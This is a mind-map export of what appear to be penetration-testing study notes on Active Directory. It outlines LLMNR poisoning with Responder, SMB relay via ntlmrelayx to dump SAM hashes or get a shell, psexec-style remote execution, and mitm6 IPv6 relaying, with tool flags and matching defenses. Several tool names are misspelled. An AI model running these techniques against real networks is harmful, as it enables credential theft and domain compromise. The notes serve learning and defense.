Please enable JavaScript.
Coggle requires JavaScript to display documents.
Active Dir Initial Attack - Coggle Diagram
Active Dir
Initial Attack
LLMNR
Responder
-I eth0
-rdwv
Defenses
Disable LLMNR
Require Network Access Control
Require strong passwords
Components
Physical
Domain Controller
Copy of DS directory
Authentication authorization services
Replicate updates to other domain controller
Admin Access to manage user
accounts and network resources
AD Data Store
Ntds.dit file
Stored by default in %SystemRoot%\NTDS folder
Accessible through the domain controller processes and protocols
Logical
AD DS Schema
Domains
admin boundary
replication boundary between DC
Authentication and authorization boundary
Trees
Share a contiguous name space with parent
Can have additional child domains
Create two way transitive trust with other domains
Forest
Collection of trees
Common Schema
Common config partition
Share global catalog
Enables trusts between all domains
Sync the Admin and Schema Admin groups
Org Unit
Represent organisation logically
Manage objects in a consistent way
Delegate Permissions to administer groups of objects
Apply policies
Trusts
Mechanism for users to access a resource
in another domain
Directional
Trust flows from trusting domain
to trusted
Transative
Extended beyond two-domain trust
to include other trusted domains
objects
User
InetOrgPerson
Contacts
Groups
Computers
Printers
Shared Folders
SMB Relay
Requirements
No SMB signing on target
Account must be admin on machine
Responder Config
SMB Off
HTTP Off
-I eth0 -rdwv
ntlmrelayx
config
-tf targets.txt
-smb2support
dumps SAM
shell
add -i
nc to local port
execute
-e
add msvenom payload
command
-c
execute a command
Check Signing
nmap --script=smb2-security-mode.nse -p445
defence
Enable signing
Disable NTLM authentication
Account tiering
Local admin restriction
Shell Access
msfonsole
psexec
explore targets
psexec.py
domain/user:
pwd@ip
smbexec.py
wmiexec.py
IPV6
mithm6
mitm6 -d mydomain
ntlmrelax.py
-6 (ipv6)
-t ldaps://domain.controller
-wh fakepad.mydomain.local
-l lootwhoot
resources
https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/
mitgate
turn off V6
disable WPAD
ldap signing